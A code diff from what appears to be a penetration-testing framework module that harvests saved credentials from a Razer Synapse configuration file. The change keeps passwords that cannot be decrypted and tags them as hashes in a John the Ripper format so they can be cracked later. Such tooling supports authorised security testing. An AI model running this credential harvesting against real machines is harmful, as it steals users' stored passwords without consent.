@@ -71,9 +71,15 @@ def report_cred(opts)
71
71
session_id : session_db_id ,
72
72
origin_type : :session ,
73
73
private_data : opts [ :password ] ,
74
- private_type : :password ,
74
+ private_type : opts [ :type ] ,
75
75
username : opts [ :user ]
76
- } . merge ( service_data )
76
+ }
77
+
78
+ if opts [ :type ] == :nonreplayable_hash
79
+ credential_data [ :jtr_format ] = 'ODF-AES-opencl'
80
+ end
81
+
82
+ credential_data . merge! ( service_data )
77
83
78
84
login_data = {
79
85
core : create_credential ( credential_data ) ,
@@ -85,20 +91,25 @@ def report_cred(opts)
85
91
86
92
# Loop throuhg config, grab user and pass
87
93
def get_creds ( config )
88
- creds = { }
94
+ creds = [ ]
89
95
90
96
return nil if !config . include? ( '<Version>' )
91
97
92
98
xml = ::Nokogiri ::XML ( config )
93
99
xml . xpath ( '//SavedCredentials' ) . each do |node |
94
100
user = node . xpath ( 'Username' ) . text
95
101
pass = node . xpath ( 'Password' ) . text
102
+ type = :password
96
103
begin
97
104
pass = decrypt ( pass )
98
105
rescue OpenSSL ::Cipher ::CipherError
99
- # Eh, ok. We tried.
106
+ type = :nonreplayable_hash
100
107
end
101
- creds [ user ] = pass
108
+ creds << {
109
+ user : user ,
110
+ pass : pass ,
111
+ type : type
112
+ }
102
113
end
103
114
104
115
creds
@@ -121,14 +132,19 @@ def run
121
132
# read the contents of file
122
133
creds = get_creds ( contents )
123
134
unless creds . empty?
124
- creds . each_pair do |user , pass |
135
+ creds . each do |c |
136
+ user = c [ :user ]
137
+ pass = c [ :pass ]
138
+ type = c [ :type ]
139
+
125
140
print_good ( "Found cred: #{ user } :#{ pass } " )
126
141
report_cred (
127
142
ip : razerzone_ip ,
128
143
port : 443 ,
129
144
service_name : 'http' ,
130
145
user : user ,
131
- password : pass
146
+ password : pass ,
147
+ type : type
132
148
)
133
149
end
134
150
end
0 commit comments